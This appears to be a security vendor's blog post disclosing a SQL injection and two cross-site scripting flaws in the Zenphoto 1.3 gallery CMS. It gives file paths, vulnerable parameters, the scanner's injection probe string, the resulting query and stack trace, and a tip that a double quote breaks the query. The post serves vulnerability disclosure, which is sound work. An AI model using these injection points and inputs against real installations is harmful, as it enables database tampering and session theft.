We are continuing with the list of security vulnerabilities found in a number of web applications while testing our latest version of Acunetix WVS v7 . In this blog post, we will look into the details of a number of security problems discovered by Acunetix WVS in the popular web gallery application Zenphoto. Zenphoto is a standalone gallery CMS that just makes sense and doesn�t try to do everything and your dishes. We hope you agree with our philosophy: simpler is better. Don�t get us wrong though � Zenphoto really does have everything you need for web media gallery management. The following web vulnerabilities were found in Zenphoto Version 1.3; 1. SQL injection in �/zenphoto_1_3/zp-core/full-image.php�, parameter �a�. 2. Cross-site Scripting vulnerability in �/zenphoto_1_3/zp-core/admin.php�, parameter �from�. 3.Cross-site Scripting vulnerability in �/zenphoto_1_3/zp-core/admin.php�, parameter �user�. Technical details about each web vulnerability are below; 1. SQL injection in �/zenphoto_1_3/zp-core/full-image.php�, parameter �a�. Source file: /var/www/zenphoto_1_3/zp-core/functions-db.php line: 65 Additional details: SQL Query: SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/ ACUEND" Stack trace: 1. query([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n ACUEND"", [boolean] false) 2. query_full_array([string] "SELECT `id`, `album_theme` FROM `zp_albums` WHERE `folder` LIKE "1ACUSTART'"*" OR `folder` LIKE "1ACUSTART'"*/\n ACUEND"") 3. getAlbumInherited([string] "1ACUSTART'"*/\n ACUEND", [string] "album_theme", [NULL] ) 4. themeSetup([string] "1ACUSTART'"*/\n ACUEND") As you can see in the SQL query (or the stack trace), in order to alter the SQL statement sent to the database you need to use a double qoute (not a single one, as in most SQL injections).

The input is reflected inside a tag element between double quotes.
